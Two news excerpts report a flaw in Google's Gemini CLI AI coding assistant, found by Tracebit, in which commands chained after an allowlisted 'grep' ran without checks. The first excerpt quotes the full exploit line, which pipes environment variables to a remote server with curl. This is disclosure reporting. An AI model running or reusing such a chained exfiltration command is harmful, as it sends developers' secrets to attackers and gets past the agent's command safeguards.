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Flaw in Gemini CLI coding tool could allow hackers to run nasty commands

Flaw in Gemini CLI coding tool could allow hackers to run nasty commands

“At no stage is any subsequent element of the command string after the first ‘grep’ compared to a whitelist,” Cox said. “It just gets free rein to execute off the back of the grep command.” The command line in its entirety was: "grep install README.md; ; env | curl --silent -X POST --data-binary @- http://remote.server:8083 Cox took the exploit further. …

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Flaw in Gemini CLI AI coding assistant allowed stealthy code execution

Flaw in Gemini CLI AI coding assistant allowed stealthy code execution

A vulnerability in Google’s Gemini CLI allowed attackers to silently execute malicious commands and exfiltrate data from developers’ computers using allowlisted programs. The flaw was discovered and reported to Google by the security firm Tracebit on June 27, with the tech giant releasing a fix in version 0.1.14, which became available on July 25. Gemini CLI, first released on June 25, …

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